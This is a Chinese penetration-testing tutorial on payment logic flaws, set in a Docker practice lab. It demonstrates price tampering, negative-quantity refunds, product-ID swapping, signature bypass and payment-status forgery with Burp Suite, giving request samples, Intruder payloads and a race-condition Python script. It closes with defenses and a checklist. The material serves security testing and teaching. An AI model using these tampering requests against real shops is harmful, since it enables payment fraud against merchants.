支付逻辑漏洞实战:Burp Suite 2024.3 抓包篡改价格,复现 3 种常见攻击手法
支付逻辑漏洞实战:Burp Suite 2024.3 高级攻击手法解析
在数字化支付日益普及的今天,支付系统的安全性直接关系到企业和用户的资金安全。作为一名渗透测试人员,掌握支付逻辑漏洞的检测方法至关重要。本文将基于最新版Burp Suite 2024.3,深入剖析三种典型的支付逻辑漏洞攻击手法,并提供完整的靶场环境搭建指南。
1. 靶场环境搭建与基础配置
在开始实战前,我们需要一个安全的测试环境。推荐使用Docker快速部署一个专为支付漏洞设计的靶场系统:
docker pull secvulns/payment-lab:latest docker run -d -p 8080:80 --name payment-vuln secvulns/payment-lab这个靶场模拟了一个典型的电商支付系统,包含以下关键组件:
- 商品浏览与选择功能
- 购物车管理系统
- 多支付方式集成
- 订单处理流程
环境验证步骤:
- 访问
http://localhost:8080 - 使用测试账号登录(用户名:
test@vuln.com,密码:Test1234) - 确认能够正常浏览商品并进入支付流程
注意:所有测试应在授权环境下进行,避免对真实系统造成影响
2. 价格篡改攻击:从理论到实践
价格篡改是最常见的支付逻辑漏洞之一,攻击者通过拦截并修改支付请求中的金额参数,实现远低于实际价格的商品购买。
2.1 攻击原理分析
典型的价格参数处理漏洞通常源于:
- 前端依赖:仅在前端验证价格,后端无条件信任
- 缺乏签名:关键参数未进行数字签名
- 计算缺陷:总价计算逻辑存在缺陷
2.2 实战操作步骤
正常购买流程抓包:
- 选择价值100元的商品
- 进入支付页面,开启Burp Suite代理
- 点击支付并拦截请求
关键参数定位: 在拦截到的POST请求中,查找类似以下参数:
POST /checkout HTTP/1.1 Host: vulnerable-shop.com Content-Type: application/json { "product_id": "123", "quantity": 1, "unit_price": 100.00, "total_price": 100.00 }参数篡改与重放: 修改
unit_price和total_price为0.01,然后转发请求:{ "product_id": "123", "quantity": 1, "unit_price": 0.01, "total_price": 0.01 }结果验证: 检查订单确认页面和账户余额变化,确认是否以0.01元完成购买。
2.3 高级技巧:批量篡改
对于批量购买场景,可以组合修改数量和单价:
{ "product_id": "123", "quantity": -10, "unit_price": 100.00, "total_price": -1000.00 }这种操作可能导致系统向用户账户返还资金,造成更严重的资金损失。
3. 商品ID替换攻击手法
商品ID替换是另一种隐蔽性较强的攻击方式,通过将高价商品替换为低价商品实现欺诈。
3.1 攻击流程分解
信息收集阶段:
- 记录高价商品ID(如:
premium_product=789,价格999元) - 记录低价商品ID(如:
basic_product=456,价格10元)
- 记录高价商品ID(如:
请求拦截与修改:
POST /checkout HTTP/1.1 Host: vulnerable-shop.com product_id=789&price=999&quantity=1修改为:
product_id=456&price=999&quantity=1签名绕过技巧: 如果系统使用简单哈希签名,可尝试以下方法:
- 删除签名参数让系统重新生成
- 使用空签名测试
- 尝试常见哈希算法(MD5、SHA1)暴力破解
3.2 防御机制对抗
现代系统常用防御手段及测试方法:
| 防御机制 | 测试方法 | 绕过可能性 |
|---|---|---|
| 参数加密 | 观察加密模式是否可预测 | 中 |
| 数字签名 | 测试签名算法强度 | 低 |
| 服务端校验 | 尝试不同参数组合 | 高 |
| 订单绑定 | 检查订单创建与支付分离 | 中 |
4. 支付状态篡改攻击
支付状态篡改攻击通过直接修改支付结果状态,欺骗系统认为支付已完成。
4.1 全流程攻击演示
正常支付流程中断:
- 发起支付后,在跳转支付网关前拦截请求
- 不实际完成第三方支付
状态参数分析: 查找类似以下参数:
GET /payment/verify?order_id=123&status=pending&amount=100尝试修改为:
GET /payment/verify?order_id=123&status=success&amount=100时间差攻击: 在某些系统中,可以利用支付处理的时间差:
import requests from threading import Thread def confirm_payment(): requests.get('http://vulnerable/payment/confirm/123') Thread(target=confirm_payment).start() # 立即发送未支付订单查询
4.2 高级状态篡改技术
HTTP参数污染:
/payment/callback?status=failed&status=successJSON参数注入:
{ "status": "success", "metadata": {"actual_status": "failed"} }HTTP方法篡改: 将POST请求改为PUT,可能绕过某些验证逻辑
5. 自动化测试与漏洞挖掘
为提高测试效率,可以使用Burp Suite的Intruder模块自动化测试:
配置攻击参数:
POST /checkout HTTP/1.1 Host: vulnerable-shop.com product_id=§123§&price=§100§&quantity=1设置Payloads:
- 商品ID:123,456,789
- 价格:0.01, -1, 999999
结果筛选技巧:
- 关注HTTP状态码200但业务逻辑异常的响应
- 比较响应时间差异
- 检查返回数据中的订单金额字段
6. 企业级防护方案
基于OWASP推荐的最佳实践,企业应实施以下防护措施:
多层防御架构:
输入验证层:
- 类型检查(数字、字符串等)
- 范围验证(最小值、最大值)
@Min(0) @Max(100) private Integer quantity;业务逻辑层:
- 价格计算服务端完成
- 订单状态机严格管控
数据持久层:
- 事务处理确保数据一致性
- 乐观锁防止并发问题
监控审计层:
- 异常支付行为检测
- 完整操作日志记录
7. 渗透测试Checklist
支付逻辑漏洞全面检测清单:
- [ ] 价格参数是否可修改
- [ ] 负数是否被接受
- [ ] 商品ID是否可替换
- [ ] 支付状态是否可伪造
- [ ] 并发请求是否导致金额错误
- [ ] 优惠券是否可重复使用
- [ ] 积分兑换比例是否可调
- [ ] 退款流程是否可逆向获利
- [ ] 接口是否缺乏速率限制
- [ ] 关键操作是否缺少二次确认
在实际测试项目中,我们曾发现某电商平台同时存在价格篡改和状态伪造漏洞,攻击者可以组合利用这两个漏洞实现零元购。通过系统化的测试方法,能够更全面地发现支付环节中的安全隐患。
